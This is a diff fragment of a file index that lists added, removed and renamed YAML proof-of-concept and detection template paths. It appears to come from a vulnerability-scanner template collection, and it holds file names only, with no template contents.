+./poc/other/akamai-cloudtest-253.yaml ./poc/other/akamai-cloudtest.yaml ./poc/other/akeeba-installer.yaml ./poc/other/akismet-8167ad25da2730c85ed143f6dcc5c8b7.yaml @@ -53878,10 +54237,12 @@ ./poc/other/alert-before-your-post.yaml ./poc/other/alfred-click-collect-a6f0a53275dee16fcb37658cf4717e27.yaml ./poc/other/alfred-click-collect.yaml +./poc/other/algonomia-panel.yaml ./poc/other/ali-monitoring-system.yaml ./poc/other/alibaba-anyproxy-fetchbody-anyfile-read.yaml ./poc/other/alibaba-anyproxy.yaml ./poc/other/alibaba-canal-info-leak-264.yaml +./poc/other/alibaba-canal-info-leak-266.yaml ./poc/other/alibaba-canal-info-leak-267.yaml ./poc/other/alibaba-canal-info-leak.yaml ./poc/other/alibaba-canal-info-leak.yml @@ -53889,10 +54250,9 @@ ./poc/other/alibaba-nacos.yaml ./poc/other/alibaba-企业邮箱.yaml ./poc/other/alibaba_canal.yaml -./poc/other/alienvault-usm-271.yaml ./poc/other/alienvault-usm-272.yaml ./poc/other/alienvault-usm-273.yaml -./poc/other/alienvault-usm.yaml +./poc/other/alienvault-usm-274.yaml ./poc/other/alipay-97da3f4d222cef9fb78a6d344c4a78ab.yaml ./poc/other/alipay.yaml ./poc/other/alive-targets.yaml @@ -54153,13 +54513,14 @@ ./poc/other/amplus-theme.yaml ./poc/other/amplus.yaml ./poc/other/ampps-admin-panel-304.yaml +./poc/other/ampps-admin-panel-305.yaml ./poc/other/ampps-admin-panel-306.yaml -./poc/other/ampps-admin-panel.yaml ./poc/other/ampps-dirlisting-307.yaml -./poc/other/ampps-dirlisting.yaml +./poc/other/ampps-dirlisting-308.yaml ./poc/other/ampps-panel-309.yaml ./poc/other/ampps-panel-310.yaml ./poc/other/ampps-panel-311.yaml +./poc/other/amprion-gridloss-panel.yaml ./poc/other/amr-ical-events-list-79f8d987b4bea1a528f8215f9b8ae142.yaml ./poc/other/amr-ical-events-list.yaml ./poc/other/amr-shortcode-any-widget-4455b90c17af7abffeec4e8d56d23d55.yaml @@ -54305,7 +54666,6 @@ ./poc/other/antreas-66ba1859ab560343222a23f4bdd2510b.yaml ./poc/other/antreas-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/antreas.yaml -./poc/other/antsword-backdoor-333.yaml ./poc/other/antsword-backdoor-334.yaml ./poc/other/antsword-backdoor-335.yaml ./poc/other/anual-archive-233a1eb6f6f8782c599ef9a31673793f.yaml @@ -54500,7 +54860,7 @@ ./poc/other/arcadian-theme-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/arcadian-theme.yaml ./poc/other/arcadian.yaml -./poc/other/arcgis-panel-531.yaml +./poc/other/arcgis-panel-530.yaml ./poc/other/arcgis-panel.yaml ./poc/other/arcgis-services.yaml ./poc/other/archives-calendar-widget-3e4fb5da25a14a103f159a7f08301114.yaml @@ -54611,7 +54971,6 @@ ./poc/other/articlepublisherpro.yaml ./poc/other/artifactory-anonymous-deploy-547.yaml ./poc/other/artifactory-anonymous-deploy-548.yaml -./poc/other/artifactory-anonymous-deploy-549.yaml ./poc/other/artifactory-anonymous-deploy.yaml ./poc/other/artifactory-workflow.yaml ./poc/other/artifactory_deploy.yaml @@ -54693,11 +55052,10 @@ ./poc/other/aspose-file-download-559.yaml ./poc/other/aspose-file-download-560.yaml ./poc/other/aspose-file-download-561.yaml -./poc/other/aspose-file-download.yaml ./poc/other/aspose-ie-file-download-562.yaml +./poc/other/aspose-ie-file-download-563.yaml ./poc/other/aspose-ie-file-download-564.yaml ./poc/other/aspose-ie-file-download-565.yaml -./poc/other/aspose-ie-file-download.yaml ./poc/other/aspose-importer-exporter-088400ce6c17191d698bf9968a97afa2.yaml ./poc/other/aspose-importer-exporter-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/aspose-importer-exporter-f295425fa2481a819b7b7a2eafd9438e.yaml @@ -54712,14 +55070,12 @@ ./poc/other/aspose-pdf-exporter-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/aspose-pdf-exporter-plugin.yaml ./poc/other/aspose-pdf-exporter.yaml -./poc/other/aspose-pdf-file-download-566.yaml ./poc/other/aspose-pdf-file-download-567.yaml ./poc/other/aspose-pdf-file-download-568.yaml ./poc/other/aspose-pdf-file-download-569.yaml ./poc/other/aspose-pdf-file-download-570.yaml ./poc/other/aspose-words-exporter-file-download.yaml ./poc/other/aspose-words-file-download-571.yaml -./poc/other/aspose-words-file-download-572.yaml ./poc/other/aspose-words-file-download-573.yaml ./poc/other/aspose-words-file-download-574.yaml ./poc/other/asproxy.yaml @@ -54859,6 +55215,8 @@ ./poc/other/augmented-reality-plugin.yaml ./poc/other/augmented-reality.yaml ./poc/other/aurion.yaml +./poc/other/aurora-copy-tags-snap.yaml +./poc/other/aurora-delete-protect.yaml ./poc/other/auto-car-157cf14a019f2f39567d396451ba436d.yaml ./poc/other/auto-car-709fcd2d01e6508e0448c347b88dab61.yaml ./poc/other/auto-car-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -55046,7 +55404,7 @@ ./poc/other/avenirsoft-directdownload-c99e9b0f5458ecd29a4d8ad66c2e73f1.yaml ./poc/other/avenirsoft-directdownload.yaml ./poc/other/avg-phish.yaml -./poc/other/aviatrix-panel-608.yaml +./poc/other/aviatrix-panel-609.yaml ./poc/other/aviatrix-panel-610.yaml ./poc/other/aviatrix-panel.yaml ./poc/other/aviatrix-workflow.yaml @@ -55056,7 +55414,7 @@ ./poc/other/avirato-calendar.yaml ./poc/other/avnil-pdf-generator-check.yaml ./poc/other/avocent-dsview.yaml -./poc/other/avtech-avn801-camera-panel-611.yaml +./poc/other/avtech-avn801-camera-panel-612.yaml ./poc/other/avtech-avn801-camera-panel-613.yaml ./poc/other/avtech-avn801-camera-panel.yaml ./poc/other/awake-5a4c808779b61131f00ea6f5bed49fd0.yaml @@ -55112,7 +55470,7 @@ ./poc/other/axis-happyaxis-3.yaml ./poc/other/axis-happyaxis-4.yaml ./poc/other/axis-happyaxis-669.yaml -./poc/other/axis-happyaxis.yaml +./poc/other/axis-happyaxis-670.yaml ./poc/other/axublog_v1-app-lfr.yaml ./poc/other/axway-securetransport-panel.yaml ./poc/other/axxon-client-panel.yaml @@ -55168,6 +55526,7 @@ ./poc/other/back-to-the-top-button-8f5d517f294b642d5630c7904f48eb40.yaml ./poc/other/back-to-the-top-button.yaml ./poc/other/backbee.yaml +./poc/other/backdoored-zte.yaml ./poc/other/backend-designer-d3625f03bdf16d329104946998b539bf.yaml ./poc/other/backend-designer.yaml ./poc/other/backpack-admin-panel.yaml @@ -55198,6 +55557,7 @@ ./poc/other/baidu-tongji-generator-693b13b51d019c54e98a155b2b5ed384.yaml ./poc/other/baidu-tongji-generator-c0c3b835a417d629c5f299ab969849a6.yaml ./poc/other/baidu-tongji-generator.yaml +./poc/other/balada-injector-malware.yaml ./poc/other/balkon-d069673e112779a96aeb6209bf69dce0.yaml ./poc/other/balkon.yaml ./poc/other/ban-users-577363bdc084e759bd6a1dc11f3bca46.yaml @@ -55244,7 +55604,6 @@ ./poc/other/barelycorporate-theme-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/barelycorporate-theme.yaml ./poc/other/barelycorporate.yaml -./poc/other/barracuda-panel-684.yaml ./poc/other/barracuda-panel-685.yaml ./poc/other/barracuda-panel-686.yaml ./poc/other/barracuda-ssl-vpn.yaml @@ -55263,10 +55622,10 @@ ./poc/other/basic-cors-694.yaml ./poc/other/basic-cors-flash.yaml ./poc/other/basic-cors.yaml -./poc/other/basic-dns-example.yaml ./poc/other/basic-interactive-world-map-5a936b7212cd70626f050c9aba22bae7.yaml ./poc/other/basic-interactive-world-map.yaml ./poc/other/basic-ztls.yaml +./poc/other/basic.yaml ./poc/other/basicdir.yaml ./poc/other/baslider-2f67fdfc4f1a78ca3de5bde446cb180a.yaml ./poc/other/baslider-74e4a2a8812ec01ced90b2ffbb2ed2e3.yaml @@ -55373,6 +55732,7 @@ ./poc/other/bdthemes-element-pack-lite-fd25739750193b1934e6e3650f6ca4a2.yaml ./poc/other/bdthemes-element-pack-lite.yaml ./poc/other/bdthemes-element-pack.yaml +./poc/other/bdthemes-prime-slider-lite-475fbc1aca31aceb6f865c30665d01ea.yaml ./poc/other/bdthemes-prime-slider-lite-5438f849b1b9004085a32a1706f01f57.yaml ./poc/other/bdthemes-prime-slider-lite-875e297becc929552376b681eb0f6bef.yaml ./poc/other/bdthemes-prime-slider-lite-a029450b980457aaaadefda3e209836d.yaml @@ -55388,6 +55748,7 @@ ./poc/other/be-popia-compliant.yaml ./poc/other/beaf-before-and-after-gallery-f59357d482a9c9993fc9ab15e08278c5.yaml ./poc/other/beaf-before-and-after-gallery.yaml +./poc/other/beanstalk-service.yaml ./poc/other/beast2.yaml ./poc/other/beauty-premium-5daae5daa6880f8a3ebf5f7b2a3f1a04.yaml ./poc/other/beauty-premium.yaml @@ -55512,6 +55873,7 @@ ./poc/other/better-sharing-2daa97f5f679394d2fafc1a07fa0e306.yaml ./poc/other/better-sharing.yaml ./poc/other/betterdocs-0b3fafcc1b776152179ac569fac1cc6c.yaml +./poc/other/betterdocs-232384040a6ffc92a66d8388c56c0ecc.yaml ./poc/other/betterdocs.yaml ./poc/other/betterlinks-de8d492cd99f46cc4a5492913be0083b.yaml ./poc/other/betterlinks-e81e58faf106cbd4526f30f15647d120.yaml @@ -55519,8 +55881,10 @@ ./poc/other/betteroptin-09712df89f849ba85b08f5f0deb0865b.yaml ./poc/other/betteroptin.yaml ./poc/other/beyeon-iot.yaml +./poc/other/beyondtrust-panel-720.yaml ./poc/other/beyondtrust-panel-721.yaml ./poc/other/beyondtrust-panel.yaml +./poc/other/beyondtrust-priv-panel.yaml ./poc/other/bft-autoresponder-0210bbf740521d10b10a64368d0ee515.yaml ./poc/other/bft-autoresponder-59d5d0386f6467d423c260844be69da8.yaml ./poc/other/bft-autoresponder-762e3f1f6fb570103aa5b17a74f97c77.yaml @@ -55566,7 +55930,6 @@ ./poc/other/bigip-pwner-workflow.yaml ./poc/other/bigip-rest-panel.yaml ./poc/other/bigip-workflow.yaml -./poc/other/bigip.yaml ./poc/other/bilin-uag系列网关.yaml ./poc/other/billingo-8170de96a4160ed4ed65414450456c1d.yaml ./poc/other/billingo.yaml @@ -55619,8 +55982,8 @@ ./poc/other/bitrix-log-file-found.yaml ./poc/other/bitrix-panel-746.yaml ./poc/other/bitrix-panel-747.yaml -./poc/other/bitrix-panel-748.yaml ./poc/other/bitrix-panel-749.yaml +./poc/other/bitrix-panel-750.yaml ./poc/other/bitrix-panel.yaml ./poc/other/bitrix-registration.yaml ./poc/other/bitrix-site-manager.yaml @@ -56306,6 +56669,7 @@ ./poc/other/bsk-pdf-manager.yaml ./poc/other/bsuite.yaml ./poc/other/bt-control-pane.yaml +./poc/other/bubble-menu-56e1af4c59d8c0005b23c72b9b239471.yaml ./poc/other/bubble-menu-825844feae3c0993ba26ca24f6beb496.yaml ./poc/other/bubble-menu-954097b83211a929d7262429b922e34b.yaml ./poc/other/bubble-menu.yaml @@ -56316,6 +56680,7 @@ ./poc/other/buddyboss-media-794752612993f73caae67523973ec768.yaml ./poc/other/buddyboss-media.yaml ./poc/other/buddyboss-platform-1e2ea3c6af47e20107346cc0c20a21f7.yaml +./poc/other/buddyboss-platform-2273532906322a1e75c2bd0f6f3e3462.yaml ./poc/other/buddyboss-platform-959f19e60b63a1dd1dc9bc0fe5ae5074.yaml ./poc/other/buddyboss-platform-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/buddyboss-platform-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -56413,6 +56778,7 @@ ./poc/other/buddypress-media-plugin.yaml ./poc/other/buddypress-media.yaml ./poc/other/buddypress-members-only-b212bd4511541acf0acc63d44ee25505.yaml +./poc/other/buddypress-members-only.yaml ./poc/other/buddypress-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/buddypress-plugin.yaml ./poc/other/buddypress-sticky-post-c4ca848581a6fa6af0e46d4eb1c190cc.yaml @@ -56614,6 +56980,7 @@ ./poc/other/busiprof-theme-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/busiprof-theme.yaml ./poc/other/busiprof.yaml +./poc/other/busybox-repository-browser.yaml ./poc/other/button-74c30e2d8ce2c9b5cd693f86892b1b66.yaml ./poc/other/button-cabfe9182f2c658e08c2c822ba1d8b8a.yaml ./poc/other/button-contact-vr-00cf0dc7057886aabfaae3f4a59771ca.yaml @@ -56694,6 +57061,7 @@ ./poc/other/cache-images.yaml ./poc/other/cache-poisoning-820.yaml ./poc/other/cache-poisoning-821.yaml +./poc/other/cache-poisoning-822.yaml ./poc/other/cache-poisoning-823.yaml ./poc/other/cache-poisoning-824.yaml ./poc/other/cache-poisoning.yaml @@ -56773,6 +57141,7 @@ ./poc/other/calendarix-panel.yaml ./poc/other/calendarscript.yaml ./poc/other/calendly.yaml +./poc/other/call-now-button-6d3ab08ce97af09b7ea1501f5a68fe19.yaml ./poc/other/call-now-button-f79e41098fc48eb4ec51c6bc887afd82.yaml ./poc/other/call-now-button.yaml ./poc/other/call-now-icon-animate-e8fd0eef5a3c0fc676298afae5d0c9b3.yaml @@ -57122,6 +57491,7 @@ ./poc/other/cc-custom-taxonmy.yaml ./poc/other/cc-customer-service.yaml ./poc/other/ccleaner-phish.yaml +./poc/other/cdn-cache-poisoning.yaml ./poc/other/cdn.yaml ./poc/other/cdnvote-d3feccafca8f957dfd11e88c4a346635.yaml ./poc/other/cdnvote.yaml @@ -57163,7 +57533,7 @@ ./poc/other/cerebro-panel.yaml ./poc/other/cerebro.yaml ./poc/other/certificate-validation-882.yaml -./poc/other/certificate-validation-883.yaml +./poc/other/certificate-validation-884.yaml ./poc/other/certificate-validation.yaml ./poc/other/cetc-工业防火墙.yaml ./poc/other/cf-geoplugin-58ca0142ffd9a9b2258c8cbb40585337.yaml @@ -57258,8 +57628,8 @@ ./poc/other/cgc-maintenance-mode-464f8430e2fff38b86ea4b4f98c58fe0.yaml ./poc/other/cgc-maintenance-mode-d395c79f773ee5d70312487be14f72dc.yaml ./poc/other/cgc-maintenance-mode.yaml +./poc/other/cgi-printenv-885.yaml ./poc/other/cgi-printenv-886.yaml -./poc/other/cgi-printenv.yaml ./poc/other/cgi-test-page-888.yaml ./poc/other/cgi-test-page-889.yaml ./poc/other/cgi-test-page.yaml @@ -57396,16 +57766,16 @@ ./poc/other/check-point-vpn.yaml ./poc/other/checklist-92daf0c22f2e0955e6c9149f022c0728.yaml ./poc/other/checklist.yaml -./poc/other/checkmarx-panel-895.yaml ./poc/other/checkmarx-panel-896.yaml +./poc/other/checkmarx-panel-897.yaml ./poc/other/checkmarx-panel.yaml ./poc/other/checkout-for-paypal-628c476d3536033000fc1b97975c6b54.yaml ./poc/other/checkout-for-paypal.yaml ./poc/other/checkout-plugins-stripe-woo-87115ace72aa4bbcd7b78cb577c2e843.yaml ./poc/other/checkout-plugins-stripe-woo.yaml +./poc/other/checkpoint-firewall-enum.yaml ./poc/other/checkpoint-panel-1.yaml ./poc/other/checkpoint-panel-2.yaml -./poc/other/checkpoint-panel-899.yaml ./poc/other/checkpoint-panel.yaml ./poc/other/checkpoint-workflow.yaml ./poc/other/chelen-system.yaml @@ -57527,6 +57897,7 @@ ./poc/other/citrix-receiver.yaml ./poc/other/citrix-workflow.yaml ./poc/other/citrix-xcp.yaml +./poc/other/citrix-xenmobile-version.yaml ./poc/other/citrix-xenmobile.yaml ./poc/other/citrix-xenserver.yaml ./poc/other/citybook-2c4cfc1905ab12bdc0fc1be9e6d6cab3.yaml @@ -57615,12 +57986,15 @@ ./poc/other/clearfy-plugin.yaml ./poc/other/clearfy.yaml ./poc/other/clearpass-policy-manager-1000.yaml +./poc/other/clearpass-policy-manager-997.yaml ./poc/other/clearpass-policy-manager-998.yaml ./poc/other/clearpass-policy-manager-999.yaml ./poc/other/clearpass-policy-manager.yaml ./poc/other/clearwell-e-discovery.yaml ./poc/other/clerkio-3d42535c4159ccd533c88b8d40b68844.yaml ./poc/other/clerkio.yaml +./poc/other/clever-fox-3e5f6730354b274bae3825d55a3e807a.yaml +./poc/other/clever-fox-760fc00f8b1444124b62cac5e2485bd8.yaml ./poc/other/cleverwise-daily-quotes-48ab032d6544d916b9793727041175b5.yaml ./poc/other/cleverwise-daily-quotes.yaml ./poc/other/cli-with-constants.yaml @@ -57683,6 +58057,7 @@ ./poc/other/client-portal-plugin.yaml ./poc/other/client-portal.yaml ./poc/other/clientaccesspolicy-1006.yaml +./poc/other/clientaccesspolicy-1007.yaml ./poc/other/clientaccesspolicy.yaml ./poc/other/clientexec.yaml ./poc/other/clio-grow-form-0f4e293198ec169f18fb2dff762bdf30.yaml @@ -57751,8 +58126,17 @@ ./poc/other/cloudpress-theme.yaml ./poc/other/cloudpress.yaml ./poc/other/cloudroom-meeting.yaml +./poc/other/cloudtrail-data-events.yaml +./poc/other/cloudtrail-disabled.yaml +./poc/other/cloudtrail-dup-logs.yaml +./poc/other/cloudtrail-global-disabled.yaml +./poc/other/cloudtrail-integrated-cloudwatch.yaml +./poc/other/cloudtrail-log-integrity.yaml ./poc/other/cloudtrail-logfile-integrity-validation.yaml ./poc/other/cloudtrail-logs-not-encrypted.yaml +./poc/other/cloudtrail-mfa-delete.yaml +./poc/other/cloudtrail-mgmt-events.yaml +./poc/other/cloudtrail-public-buckets.yaml ./poc/other/cloudwatch-events-mfa.yaml ./poc/other/cloudwatch-events-not-used.yaml ./poc/other/cloudwise-dodp.yaml @@ -57811,6 +58195,7 @@ ./poc/other/cmyee-momentopress-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/other/cmyee-momentopress-plugin.yaml ./poc/other/cmyee-momentopress.yaml +./poc/other/cname-fingerprint-1030.yaml ./poc/other/cname-fingerprint.yaml ./poc/other/cname-provider-assessment.yaml ./poc/other/cname-service.yaml @@ -57843,7 +58228,7 @@ ./poc/other/cobubrazor_v8-posttagTest-info.yaml ./poc/other/cobubrazor_v8-postusinglogTest-info.yaml ./poc/other/cobubrazor_v8-view_fixt2-info.yaml -./poc/other/cockpit-workflow-1129.yaml +./poc/other/cockpit-workflow.yaml ./poc/other/cockpit.yaml ./poc/other/cocoon-workflow.yaml ./poc/other/code-manager-6798529d3eeac07ca163820294ba1442.yaml @@ -57872,7 +58257,7 @@ ./poc/other/codeigniter-env-1.yaml ./poc/other/codeigniter-env-10.yaml ./poc/other/codeigniter-env-11.yaml -./poc/other/codeigniter-env-1133.yaml +./poc/other/codeigniter-env-1134.yaml ./poc/other/codeigniter-env-12.yaml ./poc/other/codeigniter-env-2.yaml ./poc/other/codeigniter-env-3.yaml @@ -57925,11 +58310,11 @@ ./poc/other/codup-read-only-admin-plugin.yaml ./poc/other/codup-read-only-admin.yaml ./poc/other/cofense-vision-panel-1141.yaml +./poc/other/cofense-vision-panel-1142.yaml ./poc/other/cofense-vision-panel.yaml ./poc/other/cogent-datahub.yaml ./poc/other/colasoft-mdp.yaml ./poc/other/colasoft-tsa.yaml -./poc/other/cold-fusion-cfcache-map-1148.yaml ./poc/other/cold-fusion-cfcache-map-1149.yaml ./poc/other/cold-fusion-cfcache-map-1150.yaml ./poc/other/cold-fusion-cfcache-map-1151.yaml @@ -57943,6 +58328,7 @@ ./poc/other/colibri-page-builder-77b7cd14011141f82c380106e030a3a3.yaml ./poc/other/colibri-page-builder-95dc9860a6b3cf9f5c5570e303f7d6f7.yaml ./poc/other/colibri-page-builder-dee674ee83f362f498a8c9ad50e420b8.yaml +./poc/other/colibri-page-builder-e42fa2a34264920250ef59d5ac69f0cc.yaml ./poc/other/colibri-page-builder-e623724ecd4e7158bfc576297ff2cb79.yaml ./poc/other/colibri-page-builder.yaml ./poc/other/collaborative-management-platform.yaml @@ -58095,6 +58481,7 @@ ./poc/other/common-forbidden-bypass.yaml ./poc/other/commons-booking-0b5aef21fcffa0ab81d79fbb3730a2f1.yaml ./poc/other/commons-booking-b0923ad67c8b20729b009dd8bb4ed4f8.yaml +./poc/other/commons-booking.yaml ./poc/other/commonsbooking-2c2e09bd2d292826f84162519954c51f.yaml ./poc/other/commonsbooking.yaml ./poc/other/commonspot.yaml @@ -58105,7 +58492,6 @@ ./poc/other/community-events.yaml ./poc/other/compal-panel-1165.yaml ./poc/other/compal-panel.yaml -./poc/other/compal.yaml ./poc/other/companion-auto-update-02d6d09566c18c54d4c5e559e1f141df.yaml ./poc/other/companion-auto-update-1edea1f7e2402867189528ca77cfcaba.yaml ./poc/other/companion-auto-update-4523308d7d068021a1f50b479e587f6f.yaml @@ -58175,12 +58561,13 @@ ./poc/other/computer-repair-shop-plugin.yaml ./poc/other/computer-repair-shop.yaml ./poc/other/comtrend-ct5367-remote-root.yaml +./poc/other/concourse-ci-panel-1169.yaml ./poc/other/concourse-ci-panel.yaml ./poc/other/concourse-ci-panel.yml ./poc/other/concrete-installer.yaml ./poc/other/concrete-workflow.yaml ./poc/other/concrete5-install.yaml -./poc/other/concrete5-panel-1172.yaml +./poc/other/concrete5-panel-1173.yaml ./poc/other/concrete5-panel.yaml ./poc/other/conditional-menus.yaml ./poc/other/coneblog-widgets-bc060695098fbf1df6eb67d564047f66.yaml @@ -58248,8 +58635,7 @@ ./poc/other/consus-1095b08570fd71d7f3c066aaeb5a9c18.yaml ./poc/other/consus.yaml ./poc/other/contacam-1196.yaml -./poc/other/contacam-1198.yaml -./poc/other/contacam.yaml +./poc/other/contacam-1197.yaml ./poc/other/contact-bank-3ebd8ce740a0e273229d369b26d2a98e.yaml ./poc/other/contact-bank-6dc5402a3cf2d764b2b2d59dc1f36c59.yaml ./poc/other/contact-bank-79a8d59c9a90b6a7d9af5581150c93bf.yaml @@ -58493,7 +58879,7 @@ ./poc/other/content-repeater.yaml ./poc/other/content-restrictor-for-divi-d719c21b3b083cea6a66583de9da5dde.yaml ./poc/other/content-restrictor-for-divi.yaml -./poc/other/content-scheme-1205.yaml +./poc/other/content-scheme-1204.yaml ./poc/other/content-scheme-1206.yaml ./poc/other/content-scheme.yaml ./poc/other/content-security-policy.yaml @@ -58761,6 +59147,7 @@ ./poc/other/core-dump.yaml ./poc/other/coreactivity-65e2ee73e2dd9c17f07c9fde61ebdf3b.yaml ./poc/other/coreactivity.yaml +./poc/other/corebos-htaccess.yaml ./poc/other/corebos-panel.yaml ./poc/other/coremail.yaml ./poc/other/corero-logo.yaml @@ -58899,6 +59286,7 @@ ./poc/other/covertvideopress.yaml ./poc/other/cowidgets-elementor-addons-25c2398463a81a51ac170a0036ba7879.yaml ./poc/other/cowidgets-elementor-addons.yaml +./poc/other/cp-appointment-calendar-045a374dcc4037ebae609408d4fe7a62.yaml ./poc/other/cp-blocks-9e730a8e2d5c47970760e5751f25c3da.yaml ./poc/other/cp-blocks.yaml ./poc/other/cp-contact-form-with-paypal-5f52e7ac2998537dd0a3256d637ab3a0.yaml @@ -58955,6 +59343,7 @@ ./poc/other/cpt-shortcode.yaml ./poc/other/cpt-speakers-10bb947de003ffc54edfe54f29153ef3.yaml ./poc/other/cpt-speakers.yaml +./poc/other/cql-native-transport.yaml ./poc/other/craft-blog-236bed5b5a49a6173251e991d6ca44d1.yaml ./poc/other/craft-blog-d2a46afd6d61289094ec49e6cf79a7c7.yaml ./poc/other/craft-blog.yaml @@ -59033,6 +59422,7 @@ ./poc/other/cross-origin-opener-policy.yaml ./poc/other/cross-rss-80679996637c491ca713f9608717b246.yaml ./poc/other/cross-rss.yaml +./poc/other/crossdomain-xml-1267.yaml ./poc/other/crossdomain-xml-1268.yaml ./poc/other/crossdomain-xml.yaml ./poc/other/crossdomin-xml.yaml @@ -59071,9 +59461,7 @@ ./poc/other/cryptocurrency-widgets-pack-df87c30565c27eb58e0271f0dfd6d08b.yaml ./poc/other/cryptocurrency-widgets-pack.yaml ./poc/other/cryptocurrency.yaml -./poc/other/csod-panel-1286.yaml ./poc/other/csod-panel-1287.yaml -./poc/other/csod-panel-1288.yaml ./poc/other/csod-panel-1289.yaml ./poc/other/csod-panel.yaml ./poc/other/csp-bypass.yaml @@ -59092,6 +59480,7 @@ ./poc/other/css-hero-1705554924191aba3925a17cf0aebefe.yaml ./poc/other/css-hero.yaml ./poc/other/cssable-countdown-c3002da6855dc441e5bd46cf2b91f901.yaml +./poc/other/cssable-countdown.yaml ./poc/other/cstardesign-38777fdcba0789d83e0d04b41016942d.yaml ./poc/other/cstardesign-568e72f68d84205482d52a6bbb85cf3a.yaml ./poc/other/cstardesign-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -59229,6 +59618,7 @@ ./poc/other/custom-css-pro.yaml ./poc/other/custom-css.yaml ./poc/other/custom-dash-c8e4183dcf194c691993abb8739504c6.yaml +./poc/other/custom-dash.yaml ./poc/other/custom-dashboard-widgets-ee228d777d03be85ab87506cc063b394.yaml ./poc/other/custom-dashboard-widgets.yaml ./poc/other/custom-email-options-0e04b8c1f26d536e423a67b9d96e2092.yaml @@ -59381,6 +59771,7 @@ ./poc/other/custom_nuclei-5.yaml ./poc/other/custom_nuclei-6.yaml ./poc/other/custom_nuclei-7.yaml +./poc/other/custom_nuclei-8.yaml ./poc/other/custom_nuclei-9.yaml ./poc/other/customer-area-359d628c7c5ae57eb3b2d9d00a68cc03.yaml ./poc/other/customer-area-5f7ed81cc0379de081a00f1424ed7a45.yaml @@ -59400,10 +59791,12 @@ ./poc/other/customizer-export-import.yaml ./poc/other/customizr-f588e52cc5c7f3df2c64ec7ae658e969.yaml ./poc/other/customizr.yaml +./poc/other/cw-alarm-action-set.yaml ./poc/other/cwicly-d14658e8da50f4a594c82cdc56a3f638.yaml ./poc/other/cwicly.yaml ./poc/other/cww-companion-1ad93d53eb22553d31464528b595af1f.yaml ./poc/other/cww-companion.yaml +./poc/other/cyberchef-panel.yaml ./poc/other/cyberoam-ssl-vpn-panel.yaml ./poc/other/cybersoldier.yaml ./poc/other/cybozu-garoon.yaml @@ -59426,7 +59819,7 @@ ./poc/other/d-link-arbitary-fileread-7044.yaml ./poc/other/d-link-arbitary-fileread-7046.yaml ./poc/other/d-link-arbitary-fileread.yaml -./poc/other/d-link-wireless-7048.yaml +./poc/other/d-link-wireless-7047.yaml ./poc/other/d-link-wireless-7049.yaml ./poc/other/d-link-wireless-7050.yaml ./poc/other/d-link-wireless.yaml @@ -59515,8 +59908,10 @@ ./poc/other/dark-mode-7a116cf29341191352fcd0d67ef00793.yaml ./poc/other/dark-mode-844e0e2594498e00d397ff82dff7a8ae.yaml ./poc/other/dark-mode.yaml +./poc/other/darkcomet-trojan.yaml ./poc/other/darkstat.yaml ./poc/other/darktrace-threat-visualizer.yaml +./poc/other/darktrack-rat-trojan.yaml ./poc/other/das-intellitech-c3.yaml ./poc/other/das-usmb-.yaml ./poc/other/dash_address.yaml @@ -59590,6 +59985,7 @@ ./poc/other/defender-security-4d85a5bbb31ecfce11e6583d52cf04ab.yaml ./poc/other/defender-security-eb34b3c3b8ff1ca77abae88402bd4aa7.yaml ./poc/other/defender-security.yaml +./poc/other/deimos-c2-jarm.yaml ./poc/other/dejavu-78b157490e17d28e7e04d9f12a1bb6bd.yaml ./poc/other/dejavu-8694503a0b15276ddaea2d6b4be99aaa.yaml ./poc/other/dejavu-9449ef76879953c9ac6d19c4c293def1.yaml @@ -59682,6 +60078,7 @@ ./poc/other/depicter-717caf8997fe4bffcff5305bfe489c2e.yaml ./poc/other/depicter-cd536ae4f4d99d9b5aa3852213f0cd63.yaml ./poc/other/depicter.yaml +./poc/other/deployment-ini.yaml ./poc/other/deprecated-tls-6957.yaml ./poc/other/deprecated-tls-6958.yaml ./poc/other/deprecated-tls-6959.yaml @@ -59716,7 +60113,6 @@ ./poc/other/development-logs-2.yaml ./poc/other/development-logs-3.yaml ./poc/other/development-logs-6987.yaml -./poc/other/development-logs-6989.yaml ./poc/other/development-logs.yaml ./poc/other/devformatter-0473642f46ba628f35ee6f5a15e577ba.yaml ./poc/other/devformatter-4f0edd8cd8a7b5fcd66978824cc8f948.yaml @@ -59787,9 +60183,9 @@ ./poc/other/diplomat-da700602e0176e1b1b6120899ff50989.yaml ./poc/other/diplomat.yaml ./poc/other/dir-contents-disc-logs-6999.yaml -./poc/other/dir-listing-7003.yaml ./poc/other/dir-listing-7004.yaml ./poc/other/dir-listing-7005.yaml +./poc/other/dir-listing-7006.yaml ./poc/other/dir-listing-7007.yaml ./poc/other/dir-listing-7008.yaml ./poc/other/dir-listing-7009.yaml @@ -59821,6 +60217,7 @@ ./poc/other/directorist.yaml ./poc/other/directory-content-logs.yaml ./poc/other/directory-listing-enabled.yaml +./poc/other/directory-listing.yaml ./poc/other/directory-pro-05c9e1ca16738cd78fe38ca1f2073848.yaml ./poc/other/directory-pro.yaml ./poc/other/directorypress-75c0a36cfd215ca1356e3d8b92614890.yaml @@ -59917,19 +60314,17 @@ ./poc/other/dk-pricr-responsive-pricing-table-b16a43b12a77fac981f6dff5bee7fae6.yaml ./poc/other/dk-pricr-responsive-pricing-table-fcb02e31136900f66af826680ccfc854.yaml ./poc/other/dk-pricr-responsive-pricing-table.yaml +./poc/other/dlink-850l-info-leak-7035.yaml ./poc/other/dlink-850l-info-leak-7036.yaml ./poc/other/dlink-850l-info-leak-7037.yaml ./poc/other/dlink-850l-info-leak-7038.yaml -./poc/other/dlink-850l-info-leak-7039.yaml ./poc/other/dlink-850l-info-leak.yml -./poc/other/dlink-file-read.yaml ./poc/other/dlink-panel.yaml ./poc/other/dmca-watermarker-57341ac61a055904fef67d601bce579b.yaml ./poc/other/dmca-watermarker.yaml ./poc/other/dmxready-portfolio-manager.yaml ./poc/other/dnp-firewall.yaml ./poc/other/dns-multiple-example.yaml 